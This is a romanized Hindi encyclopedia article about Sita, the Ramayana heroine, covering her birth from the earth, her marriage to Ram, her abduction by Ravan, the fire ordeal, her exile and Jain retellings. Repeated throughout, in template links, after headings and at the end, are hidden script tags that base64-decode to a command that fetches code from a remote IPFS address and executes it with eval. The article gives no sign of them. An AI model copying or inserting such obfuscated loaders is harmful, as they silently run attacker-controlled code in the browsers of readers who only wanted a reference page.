सीता

sankshipt parichay

sita
|200px|center
any nam	janaki, vaidehi
avatar	lakshmivatar
vansh-gotr	nimi
mata	prithvi maan
dharm pita	janak
dharm mata	videhi
janm vivaran	akal p dane ke karan hal jotane se prithvi ko pho dakar sita ka janm
samay-kal	ramayan kal
parijan	pita=janak, bahan=urmila
vivah	ram
santan	lav, kush
sandarbh granth	ramayan
prasiddh ghatanaean	vanavas, haran, agni-pariksha, dharati mean samana
yashakirti	pativrata, svabhimani

chitr:Disamb2.jpg sita

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- sita (bahuvikalpi)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sita ramayan aur ramacharitamanas ki mukhy patr hai. hiandoo dharm mean inaki devi ke roop mean pooja ki jati hai. sita mithila ke raja janak ki jyeshth putri thi. inaka vivah ayodhya ke raja dasharath ke jyeshth putr ram se svayanvar mean shivadhanush ko bhang karane ke uparaant hua tha. inaki stri v pativrata dharm ke karan inaka nam adar se liya jata hai. treta yug mean inhean saubhagy ki devi lakshmi ka avatar manate haian. raja janak ki putri ka nam sita isalie tha ki ve janak ko hal karshit rekhabhoomi se prapt huee thian. bad mean unaka vivah bhagavan ram se hua. valmiki ramayan mean janak ji sita ki utpatti ki katha is prakar kahate haian:

ath me krishat: kshetran laangaladutthita tat:.
kshetran shodhayata labdha namna siteti vishruta॥
bhootakaduttthita sa tu vyavarddhat mamatmaja.
diryashukleti me kanya sthapiteyamayonija॥

yahi katha padm puran tatha bhavishy puran mean vistar ke sath kahi gayi hai.

1. REDIRECTsaancha:nila<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>inhean bhi dekhean
2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: sita upanishad<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Marriage.jpg|thumb|left|shriram se vivah]]

manyataean

• sita ek nadi ka nam hai.
• bhagavat ke anusar vah bhadrashv varsh ki ganga hai:

sita tu brahmasadanath keshavachaladi girashikharebhyoadhoadh: prastravanti gandhamadanamoorddhasu patitvaantaren bhadrashvan varsh prachyaan dishi ksharasamudran abhipravishati.

• 'shabdamala' mean sita ke sambandh mean nimnaankit kathan hai-

gangayantu bhadrasoma mahabhadrath patala.
tasya: stotrasi sita ch vadkshurbhadra ch kirtita॥
tadbhedealakanandapi sharini tvalpanimnaga ॥

sahity mean sita

• sita ke adarsh se prabhavit lakshman kahate haian-

“nari ke jis bhavy bhav ka, svabhiman bhashi hooan maian . use naroan mean bhi pane ka, utsuk abhilashi hooan maian॥

• sita- ramakavy parampara ke aantargat sita bharatiy nari-bhavana ka charamotkrisht nidarshan hai, jahaan nana puran nigamagamoan mean vyakt nari adarsh sapran evan jivant ho uthe haian . nari patroan mean sita hi sarvadhik, vinayashila, lajjashila, sanyamashila, sahishnu aur pativrat ki dipti se daidipyaman nari haian . samoocha ramakavy usake tap, tyag evan balidan ke mangal kuankum se jagamaga utha hai . lanka mean sita ko pahachanakar unake vyaktitv ki prashansa karate hue hanuman ji ne kaha-

“dushkaran kritavanh ramo hino yadanaya prabhuah dharayatyatmano dehan n shokenavasidati . yadi namah samudrantaan medinian parivartayeth asthaah krite jagachchapi yukt mityev me matiah.. arthath aisi sita ke bina jivit rahakar ram ne sachamuch hi b da dushkar kary kiya hai. inake lie yadi ram samudr-paryant prithvi ko palat dean to bhi meri samajh mean uchit hi hoga, trailauky ka rajy sita ki ek kala ke barabar bhi nahian hai . patni v pati bharatiy sanskriti mean ek-doosare ke poorak haian . adarsh patni ka charitr hamean jagadamba janaki ke charitr mean tab tak drishti-gochar hota hai, jab shriram dvara van mean sath n chalane ki prerana karane par apana aantim nirnay in shabdoan mean kah deti hai- prananath tumh binu jag mahian . mo kahuan sukhad katahuan kachhu nahian . jiy bin deh nadi binu bari . taisia nath purush binu nari॥

• vishadagrast hokar bhi patni athava pati ko apane jivan-sathi ka dhyan rakhana bharatiy saanskritik adarsh hai . sita ko ashokavatika mean rakhakar ravan ne sam, dam, dand, bhed adi upayoan se path-vichalit karane ka prayas kiya, parantu sita me apane parivarik adarsh ka parichay dete hue keval shriram ka hi dhyan kiya, yatha-

trin dhari ot kahati vaidehi, sumiri avadhapati param sanehi . sunu das mukh khadyot prakasa, kabahuan ki nalini kari vikasa॥

• vanagaman ke avasar par sita jab urmila ke prati sanvedana prakat karati hai, us samay mata sumitra ke marmik udgaroan mean sita ke charitr ki jhaanki milati hai-

pati-parayana, patit bhavana, bhakti bhavana, bhakti bhavana mridu tum ho, snehamayi, vatsalyamayi, shrikriram-kamana mridu tum ho॥

• sita ek or bharatiy adarsh patni hai, jinamean pati-parayanata, tyag, seva, shil aur saujany hai, to doosari or ve yug-jivan ki maryada ke anuroop shramasadhy jivan-yapan mean gaurav ka anubhav karane vali nari haian, yatha-

auroan ke hathoan yahaan nahian chalati hooan . apane pairoan par kh di ap chalati hooan॥

• lokapavad ke karan sita nirvasit hoti hai, parantu vah apana udar hriday v sahishnu charitr ka parityag nahian karati aur n hi pati ko dosh deti hai, balki ise lokottar tyag kahakar shirodhary karati hai v apani shreshthata siddh karati hai-

yadi kalankita huee kirti to muanh kaise dikhalaooangi . jivanadhar par utsargit ho jivan dhany banaooangi . hai lokottar tyag apana lokaradhan hai nyara . kaise sanbhav hai ki vah n ho shirodharyy mere dvara ..

• isi prakar samast granthoan mean sita ke charitr ka ujjvalatam paksh prastut hua hai . vah ram-katha ke kendr mean rahakar kendriy patr bani haian .

sita ka janm

mithila pradesh ke raja janak ke rajy mean ek bar akal p dane laga. ve svayan hal jotane lage. tabhi prithvi ko pho dakar sita nikal ayi. jab raja bij bo rahe the tab sita ko dhool mean p di pakar unhoanne utha liya. unhoanne akashavani suni - 'yah tumhari dharmakanya hai.' tab tak raja ki koee santan nahian thi. unhoanne use putrivat pala aur apani b di rani ko sauanp diya.

sita ka svayanvar

kishori sita ke lie yogy var prapt karana kathin ho gaya, kyoanki sita ne manav-yoni se janm nahian liya tha. aant mean raja janak ne sita ka svayanvar racha. ek bar daksh yaksh ke avasar par varun dev ne janak ko ek dhanush aur banoan se apoorit do tarakash diye the. vah dhanush anek log milakar bhi hila nahian pate the. janak ne ghoshana ki ki jo manushy dhanush ko uthakar usaki pratyancha chadha dega, usase ve sita ka vivah kar deange. raja is kasauti par asaphal rahe to unhoanne apana apaman janakar janakapuri ko tahas-nahas kar dala. raja janak ne tapasya se devataoan ko prasann kiya tatha unaki chaturangini sena se un rajaoan ko parast kiya. raja janak se yah vrittaant janakar vishvamitr ne ram-lakshman ko vah dhanush dikhalane ki ichchha prakat ki. janak ki ajna se ath pahiyoan vale sandook mean band us dhanush ko paanch hazar vir thel kar laye. janak ne kaha ki jis dhanush ko uthane, pratyancha chadhane aur tankar karane mean devata, danav, daity, rakshas, gandharv aur kinnar bhi samarth nahian haian, use manushy bhala kaise utha sakata hai! sandook kholakar, raja janak ki anumati se, ram ne atyant sahajata se vah dhanush uthakar chadhaya aur madhy se to d dala. ram, lakshman, vishvamitr aur janak ke atirikt shesh samast upasthit gan tatkal behosh ho gaye. janak ne prasannachitt sita ka vivah ram se karane ki thani aur raja dasharath ko sadar lane ke lie mantriyoan ko ayodhya bheja. raja dasharath ne vasishth, vamadev tatha apane mantriyoan se salah ki aur videh ke nagar ki or prasthan kiya. raja janak ne apane bhaee kushadhvaj ko bhi saankashya nagari se bula bheja. raja dasharath aur janak ne apani vanshavali ka poorn parichay dekar sita aur urmila ka vivah ram aur lakshman se tay kar diya tatha vishvamitr ke prastav se kushadhvaj ki do suandari kanyaoan maandavi-shrutakirti ka vivah bharat tatha shatrughn ke sath nishchit kar diya. uttara phalguni nakshatr mean charoan bhaiyoan ka vivah ho gaya.

ram ka ravan se yuddh

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[[chitr:Ram-Ravan-Battel.jpg|thumb|250px|ram ka ravan se yuddh]] kalaantar mean kaikeyi ke var maang lene par sita aur lakshman sahit ram chaudah varsh ke vanavas ke lie chale gaye. van mean ravan ne sita ka haran kiya. phalasvaroop ram - ravan yuddh hua. ranakshetr mean vanar-sena tatha ram - lakshman ko vyagr karane ke nimitt meghanad ne maya ka vistar kiya. ek mayavi sita ki rachana ki, jo sita ki bhaanti hi krishakay tatha ast-vyast veshabhoosha dharan kiye thi. meghanad ne us mayavi sita ko apane rath ke samane baitha kar ranakshetr mean ghoomana praranbh kiya. vanaroan ne use sita samajhakar prahar nahian kiya. meghanad ne mayavi sita ke bal pak dakar khianche tatha usake do tuk de karake mar dala. charoan or phaila khoon dekhakar sab log shokakul ho uthe. hanuman ne sita ko mara janakar vanaroan ko yuddh n karane ki vyavastha di kyoanki jis sita ke lie yuddh kar rahe the, vahi nahian rahi to yuddh karana vyarth hai. yah dekhakar meghanad nikuanbhila devi ke sthan par jakar havan karane laga. ram ne sita ke nidhan ke vishay mean jana to achet ho gaye. jab ram ki chetana lauti to lakshman ne anek prakar se unako samajhaya tatha vibhishan ne kaha ki 'ravan kabhi bhi sita ko marane ki ajna nahian de sakata, at: yah nishchay hi maya ka pradarshan kiya gaya hoga.'

agni pariksha

[[chitr:Sita-Agni-Pariksha.jpg|thumb|250px|left|agni pariksha]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

lanka-vijay ke uparaant ram ne sita se kaha- 'tum ravan ke pas bahut rahi ho, at: mujhe tumhare charitr par sandeh hai. tum svechchha se lakshman, bharat athava vibhishan kisi ke bhi pas jakar raho, maian tumhean grahan nahian karooanga.' sita ne glani, apaman aur du:kh se vigalit hokar chita taiyar karane ki ajna di. lakshman ne chita taiyar ki. sita ne yah kaha - 'yadi man - vachan - karm se maianne sadaiv ram ko hi smaran kiya hai tatha ravan jis sharir ko uthakar le gaya tha, vah avash tha, tab agnidev meri raksha karean.' aur jalati huee chita mean pravesh kiya. agnidev ne pratyaksh roop dharan karake sita ko god mean uthakar ram ke sammukh prastut karate hue kaha ki vah har prakar se pavitr haian. taduparaant ram ne prasann bhav se sita ko grahan kiya aur upasthit samuday ko batalaya ki unhoanne lok ninda ke bhay se sita ko grahan nahian kiya tha.

sita ka tyag

kuchh samay bad mantriyoan aur durmukh namak ek guptachar ke muanh se ram ne jana ki prajajan sita ki pavitrata ke vishay mean sandigdh haian. at: sita aur ram ko lekar anek batean kahate haian. sita garbhavati thian aur unhoanne ram se ek bar tapovan ki shobha dekhane ki ichchha prakat ki thi. raghu vansh ko kalank se bachane ke lie ram ne sita ko tapovan ki shobha dekhane ke bahane se lakshman ke sath bheja. lakshman ko alag bulakar ram ne kaha ki vah sita ko vahian chho d aye. lakshman ne tapovan mean pahuanchakar atyant udvign man se sita se sab kuchh kah sunaya aur laut aya. sita ka roodan sunakar valmiki ne divy drishti se sab batean jan lian tatha sita ko apane ashram mean sthan diya. usi ashram mean sita ne lav aur kush namak putroan ko janm diya. balakoan ka lalan-palan bhi ashram mean hi hua. ram is sabake vishay mean kuchh nahian janate the.

ashvamedh yajn

[[chitr:Sita.jpg|thumb|yah sita ki charm nirmit kathaputali hai jo ram ki katha batane ke lie aandhr pradesh, keral aur maisoor mean istemal kari jati hai. prakash-chhaya ke ye naty kee sthanoan par prasiddh haian ]] jab ram ne ashvamedh yajn kiya, us samay lav aur kush namak shishyoan ko valmiki ne ramayan sunane ke lie bheja. ram ne mod bhav se vah charitr suna. pratidin ve donoan bis sarg sunate the. uttar kaand tak pahuanchane par ram ne jana ki ve donoan ram ke hi balak haian. ram ne sita ko kahalaya ki yadi ve nishpap haian to sabha mean akar apani pavitrata prakat karean. valmiki sita ko lekar gaye . vasishth ne kaha- 'he ram, maian varun ka dasavaan putr hooan. jivan mean maianne kabhi jhooth nahian bola. ye donoan tumhare putr haian. yadi maianne jhooth bola ho to meri tapasya ka phal mujhe n mile. maianne divy-drishti se usaki pavitrata dekh li hai.' sita hath jo dakar niche mukh karake boli- 'he dharati maan, yadi maian pavitr hooan to dharati phat jaye aur maian usamean sama jaoo.' jab sita ne yah kaha tab nagoan par rakha ek sianhasan prithvi pha dakar bahar nikala. sianhasan par prithvi devi baithi thian. unhoanne sita ko god mean baitha liya. sita ke baithate hi vah sianhasan dharati mean dhansane laga.

any kathaean

• ram ne agni-pariksha ke uparaant sita ko grahan kiya. is bat ka hanuman aur aangad ne virodh kiya. unake anusar samast kutuanb aur prajajanoan ke sammukh sita ki pavitrata pramanit karake hi use grahan karana chahie. ram-lakshman nahian mane. rajy mean pahuanchakar kuchh samay bad lokapavad sunakar ram ne pun: sita ko nirvasit kar diya. ashvamedh yajn ke samay aangad aur hanuman ko jnat hua to ve rusht aur dukhi hokar ganga - snan se papoan ka shaman karane gaye.
• janak ki patarani ka nam videhi tha. usake garbhini hone par prabhavashali dev (jo poorvajanm mean piangal sadhu tha) ne apane poorvajanm ka smaran kiya tatha jana ki usake udar se ek any jiv ke sath usaka bhootapoorv shatru bhi janm le raha hai. ek ju davaan putr aur kanya ka janm hone par us dev ne putr ka apaharan kar liya. vah use shila par patakakar mar dalana chahata tha kiantu use apane punyoan ka nash karane ki ichchha nahian huee. at: usane udyan mean hi balak ko rakh diya. gavaksh se chandragati khechar ne use dekha to uthakar apani patni aanshumata ke pas lita diya. ve donoan putrahin the. use putr manakar unhoanne lalan - palan kiya. usaka nam bhaanmadal rakha gaya. log usako hi putr ka janak samajhe. videhi apana putr khokar bahut dukhi huee. bahut dhooandhane par bhi vah nahian mila. kanya ka nam sita rakha gaya. b de hone par ek din prithvi par ghoomate hue narad ne sita ke vishay mean suna to vah akash marg se use dekhane gaya. narad ke bhayankar roop ko dekhakar vah bhayatura mahal ke aandar chali gayi. narad ko dvarapaloan ne rok liya. narad vahaan se to chala gaya, par sita se vair than liya. usane rathanoopur nagar mean pat par sita ka chitr khiancha, jise dekhakar bhamandal us par mugdh ho gaya. narad ne prakat hokar usaka parichay diya aur svayan akash-marg se chala gaya. putr ki ichchha janakar chandragati ne kaha- 'ham log akash mean rahane vale vidyadhar haian. manushyoan ke pas hamara jana shobha nahian deta.' usane chapalagati namak ek doot ko prithvi par bheja ki vah janak ko le aye. chapalagati ashv ka roop dharan karake janak ke pas gaya. naye ashv ko dekh janak ne use ashvashala mean baandh liya. ek din raja us gho de par baitha to vah turant raja sahit u dakar vriksh ki ek shakha se ja laga. ashv apane vastavik roop mean prakat hua. chandragati ne apane putr ke lie sita ko maanga. janak ne kaha ki vah pahale hi ram ko samarpit karane ka nishchay kar chuka hai. chandragati ne vidyadharoan ke hath janak ke sath ek mahadhanush bheja aur kaha- 'yadi ram is dhanush ki pratyancha chadha deange to vah sita ko prapt kar le. yadi vah aisa n kar paya to bhamandal usaka apaharan kar lega.' ram ne dhanush uthakar pratyancha chadha di. at: usane sita ko prapt kar liya. tadanantar lakshman ne dhanush mo dakar chandrakar kar diya. bharat sochane laga- 'usi pita ka putr hokar maian abhaga rah gaya.'

[[chitr:Rama-Sita-Lakshmana-In-The-Forest.jpg|thumb|250px|left|jangal mean ram, sita aur lakshman]]

• ram-lakshman ke sath sita ne bhi rajy ka parityag kar van ki or prasthan kiya. durbhagy se ravan ne use har liya. ravan poorvasankalp ke karan par nari ki ichchha ke bina usaka upabhog nahian kar raha tha kiantu ram se bichhu dakar sita nirahar rahane lagi. use ravan ne anek prakar se mayavi krityoan dvara daraya bhi kiantu usaka man ram mean hi rama raha. sita ko prapt karake ram saket pahuancha. lakshman ka rajyabhishek hua tatha sita ke garbh ki ghoshana huee. sita garbhakal mean jin mandiroan ke darshan karana chahati thi. ram ne rajy mean sita ke charitr-vishayak apavad sune, kyoanki use ravan ne hara tha. ram ne lokapavad se bachane ke lie niraparadhini sita ko jain-mandiroan ke darshan karavane ke bahane se jangal mean bhej diya. bhayanak jangal mean use chho date hue senapati kritaantavadan ka dil bhi dahal uthaan rath lautate hue usane sita ko usake nirvasan aur usaka karan bhi bata diya. sanyog se us din hathiyoan ko pak dane ke lie raja vajrajangh bhi usi jangal mean gaya tha. usane sita ki bat suni to use ashvasan pradan karake apane rajy mean sharan di. kalaantar mean usane do putroan ko janm diya, jinake nam anangalavan tatha madanaankush the.
• ravan ne khar dooshan aur sena ke sath dandakarany mean pahuanchakar pushpak viman se hi sita ko dekha to mugdh ho gaya. lakshman ne ram aur sita ko thaharane ke lie kaha aur svayan yuddh ke lie prasthan kiya. tho de samay uparaant ravan ne lakshman jaisi avaz mean zor se sianhanad kiya. ram us avaz ko sunakar akul ho gaye. ve sita ko jatayu ke sanrakshan mean chho dakar yuddh ke lie chale gaye. suavasar janakar ravan ne viman nicha kiya tatha sita ko balat usamean baitha liya. jatayu ke rokane par use ghayal karake prithvi par dhakel diya aur sita sahit viman mean u d chala. sita rone lagi. ravan ne socha, jab tak vah svechchha se usake nikat nahian ayegi, vah usaka upabhog nahian karega. udhar ram lakshman ke pas pahuanche to vah thik tha aur usane anurodhapoorvak ram ko vapas bhej diya. lautane par sita nahian mili. ghayal jatayu ne samast vrittaant kah sunaya. lakshman viradhit ki sahayata se un sabako parast karake lauta to dekha ki sita ka apaharan ho chuka hai. raja viradhit ki sahayata karate hue lakshman ne kharadooshan ko mar dala tha, at: sita ko khojane ke lie viradhit ne apane samast sevakoan ka prayog kiya.
• anangalavan tatha madanaankush se ram-lakshman ka yuddh hone ke uparaant sita anek nariyoan se ghiri huee ram ke pas pahuanchi. apavad ke shaman ke lie usane agni-pariksha ka aangikaran kiya. sita ne kaha- 'he agni! yadi mere man mean kabhi bhi ram se itar koee purush nahian aya hai to too mujhe n jalana.' jis jagah lak diyaan lagakar agni prajvalit ki gayi thi, vah sita ke pravesh karate hi pani ki bav di ke roop mean parinat ho gaya. dhire-dhire jal badhata gaya-log doobane lage. sita ka sparsh pakar jal pun: simit ho gaya. ram ne sita se kshama-yachana ki. sita ne use apana karmajany prarabdh hi mana. usane apane bal ukha d dale tatha diksha le li. sakal bhooshan muni ne ram ke poorvabhav ke vishay mean bataya sita ne 'pravrajya' grahan ki.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>